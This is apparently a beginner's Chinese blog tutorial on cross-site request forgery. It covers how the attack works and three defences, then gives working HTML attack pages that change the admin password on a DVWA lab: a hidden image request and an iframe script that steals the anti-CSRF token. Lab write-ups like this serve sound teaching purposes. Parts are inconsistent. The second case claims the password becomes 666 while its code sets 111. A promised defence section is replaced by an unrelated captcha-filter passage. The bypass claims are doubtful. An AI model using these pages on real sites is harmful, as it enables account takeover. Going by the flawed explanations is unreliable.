1.概述
CSRF(Cross-site request forgery),全稱跨站請求偽造,從字面意思可以看出CSRF攻擊者是通過使合法用戶發起請求,來實現對被攻擊網站的訪問。
CSRF攻擊原理
從下圖我們可以更加直觀地理解CSRF攻擊的原理。
從上圖我們可以看出要想實現CSRF攻擊,必須有兩個前提條件:
- 網站A信任用戶C,C在本地生成cookie。(看來經常清理本地cookie可以有效的防止CSRF攻擊)
- 用戶C訪問網站A,並且未登出。
如果上述兩個條件有一個不滿足,CSRF攻擊就無法正常進行,雖然我們已經知道CSRF攻擊的必要條件,但是平時往往會不經意間給攻擊者造成機會。原因主要有:
- 我們在訪問一個網站過后往往不會立馬關閉,都會保留一段時間,方便重新瀏覽信息。
- 關閉瀏覽器並不代表結束會話,而且瀏覽器關閉了但是用戶本地cookie仍然存在。
2.CSRF攻擊的危害
由於攻擊者通過CSRF攻擊可以偽造來自信任用戶的請求,就像指揮用戶一樣執行一些危險操作,主要危害包括盜用用戶身份、發送惡意請求。比如模擬用戶發送郵件、發消息、甚至於支付、轉賬等。
3.CSRF攻擊的防御方法
面對CSRF攻擊,目前主流的三種防御方法包括:
- 驗證HTTP的Referer字段
- 在請求地址中添加Token並驗證
- 在HTTP頭中自定義屬性並驗證
下面分別講一下這三種防御方法的原理。
Referer驗證
根據HTTP協議,在HTTP頭中有一個字段叫Referer,它記錄了該HTTP請求的來源地址。在通常情況下,訪問一個安全受限頁面的請求必須來自於同一個網站。比如某銀行的轉賬是通過用戶訪問http://bank.test/test?page=10&userID=101&money=10000頁面完成,用戶必須先登錄bank.test,然后通過點擊頁面上的按鈕來觸發轉賬事件。當用戶提交請求時,該轉賬請求的Referer值就會是轉賬按鈕所在頁面的URL(本例中,通常是以bank. test域名開頭的地址)。而如果攻擊者要對銀行網站實施CSRF攻擊,他只能在自己的網站構造請求,當用戶通過攻擊者的網站發送請求到銀行時,該請求的Referer是指向攻擊者的網站。因此,要防御CSRF攻擊,銀行網站只需要對於每一個轉賬請求驗證其Referer值,如果是以bank. test開頭的域名,則說明該請求是來自銀行網站自己的請求,是合法的。如果Referer是其他網站的話,就有可能是CSRF攻擊,則拒絕該請求。
Token驗證
CSRF攻擊之所以能夠成功,是因為攻擊者可以偽造用戶的請求,該請求中所有的用戶驗證信息都存在於Cookie中,因此攻擊者可以在不知道這些驗證信息的情況下直接利用用戶自己的Cookie來通過安全驗證。由此可知,抵御CSRF攻擊的關鍵在於:在請求中放入攻擊者所不能偽造的信息,並且該信息不存在於Cookie之中。鑒於此,系統開發者可以在HTTP請求中以參數的形式加入一個隨機產生的token,並在服務器端建立一個攔截器來驗證這個token,如果請求中沒有token或者token內容不正確,則認為可能是CSRF攻擊而拒絕該請求。
增加驗證碼
Spring security的表單驗證是通過過濾器鏈中的 UsernamePasswordAuthenticationFilter 來完成的,我們增加的驗證碼過濾器應該插在 UsernamePasswordAuthenticationFilter 之前,如果驗證碼校驗不通過,直接返回,無需進行賬戶密碼的校驗。
了解三種主流的防御CSRF攻擊方法之后,我們針對這些原理,復現一下CSRF攻擊。
4.CSRF攻擊例子
案例一-繞過Referer
實驗環境
DVWA靶場(我用的是metasploitable2中的靶場,大家也可以在phpstudy上搭DVWA)
chrome瀏覽器
phpstudy
1.打開DVWA登錄界面,用chrome瀏覽器登錄用戶,DVWA靶場的默認賬戶為admin,默認密碼為password。
2.將安全級別設置為:low。
3.在CSRF漏洞模塊修改用戶密碼為111,,修改成功之后記錄下當前URL為u1。
4.在phpsthdy安裝目錄中創建一個文件-CSRF.html,將之前記錄下的URL-u1放入文件對應位置,並給password_new和password_conf變量賦相同的值,賦的值為你想修改的新密碼。圖片1.jpg可以是任意文件,僅僅起一個偽裝作用。html代碼如下:
<!DOCTYPE html> <html> <head> <title></title> </head> <body> <img src="http://192.168.xxx.xxx/dvwa/vulnerabilities/csrf/?password_new=222&password_conf=222&Change=%E6%9B%B4%E6%94%B9#" alt=""> <img src="1.jpg"> </body> </html>
(URL中的IP我改了一下,大家在使用的時候根據自己的實際URL進行測試)
5.此時如果某用戶不小心打開可CSRF.html這個網頁,那么admin用戶的密碼就自動被修改為222,這一攻擊原理就是在CSRF.html文件中直接給出了目標網站的url,從而繞過了Referer驗證。
案例二-繞過Token驗證
1.登錄DVWA,修改安全級別為:high
2.將CSRF.html文件的修改,同樣的給password_new和password_conf賦一個新的密碼:666。具體代碼如下:
<!DOCTYPE html> <html> <head> <title></title> </head> <body> <img src="1.jpg"> <iframe name="if1" src="http://192.168.189.132/dvwa/vulnerabilities/csrf"></iframe> <script> window.onload = function(){ var user_token_input = window.frames["if1"].document.getElementsByName("user_token")[0]; alert(user_token_input.value) document.body.innerHTML += '<img src="http://192.168.189.132/dvwa/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change#'+ user_token_input.value+'#" alt="">' } </script> </body> </html>
3.此時如果某用戶打開了指向該文件的鏈接,那么admin的密碼就會被修改為666.
總結
本文講了一下CSRF攻擊的基本原理以及基本過程。通俗的來講CSRF攻擊就是偽造被信任用戶的請求,達到欺騙被攻擊網站的目的。對於CSRF攻擊的主要防御措施有驗證HTTP頭的Referer字段、驗證HTTP頭的Token字段以及在HTTP頭中自定義屬性並驗證。從防御手段我們可以看出應對CSRF攻擊,主要是解決判斷請求的來源是否被信任問題,如果可以驗證請求的發起者是可信的,那么該請求是可以被接受的。通過DVWA靶場的兩個小實驗,對CSRF攻擊進行更直觀的理解。作者WEB安全小白一枚,如果有表述的不對的地方,還請各位大佬評論指正。